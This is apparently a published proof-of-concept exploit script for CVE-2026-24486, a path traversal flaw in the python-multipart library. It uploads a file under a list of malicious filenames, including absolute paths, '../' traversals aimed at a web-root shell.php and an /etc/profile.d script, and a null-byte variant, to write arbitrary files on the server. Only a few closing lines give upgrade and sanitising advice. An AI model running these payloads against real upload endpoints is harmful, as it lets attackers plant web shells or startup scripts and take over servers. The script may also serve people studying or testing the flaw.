# Exploit Title: Python-Multipart 0.0.22 - Path Traversal
# Date: 2026-02-23
# Exploit Author: cardosource
# Vendor Homepage: https://github.com/Kludex/python-multipart
# Software Link: https://pypi.org/project/python-multipart/
# Version: < 0.0.22 (REQUIRED)
# Tested on: Ubuntu / Python 3.13.5 / Docker (as root for demo)
# CVE : CVE-2026-24486
"""
PoC for CVE-2026-24486: Path Traversal in python-multipart when UPLOAD_KEEP_FILENAME=True + UPLOAD_DIR is configured.
Allows arbitrary file write via malicious filename.
"""
import requests
import time
import os
import sys
TARGET_URL = "http://localhost:8000/upload"
SOURCE_FILE = "/etc/hosts" # Small file to upload (content written to target)
if not os.path.exists(SOURCE_FILE):
print(f"[!] Source file not found: {SOURCE_FILE}")
sys.exit(1)
# Malicious filenames (payloads)
payloads = [
"/tmp/poc-abs.txt",
"/etc/poc-etc.txt",
"/root/poc-root.txt",
"../../var/www/html/shell.php",
"../../etc/profile.d/mal.sh",
"../../../tmp/poc-deep.txt",
"../../etc/passwd%00.txt",
"//etc//poc-double-slash.txt",
]
print("[*] CVE-2026-24486 PoC")
print(f"[*] Target: {TARGET_URL}")
print(f"[*] Using source file: {SOURCE_FILE}")
print(f"[*] Testing {len(payloads)} payloads...\n")
for i, filename in enumerate(payloads, 1):
print(f"[{i}/{len(payloads)}] Testing: {filename}")
try:
files = {
'file': (filename, open(SOURCE_FILE, 'rb'), 'text/plain')
}
r = requests.post(TARGET_URL, files=files, timeout=8)
print(f" Status: {r.status_code}")
if r.text.strip():
print(f" Response: {r.text.strip()}")
else:
print(" Response: (empty)")
except Exception as e:
print(f" Error: {e}")
print("-" * 50)
time.sleep(1.0)
print("\n[*] Done.")
print("Verify files in container:")
print(" docker exec -it vuln-poc find / -name '*poc*' -o -name '*shell*' 2>/dev/null")
print("\nMitigation:")
print(" - Upgrade: pip install python-multipart>=0.0.22")
print(" - Avoid UPLOAD_KEEP_FILENAME=True")
print(" - Sanitize: filename = os.path.basename(file.filename)")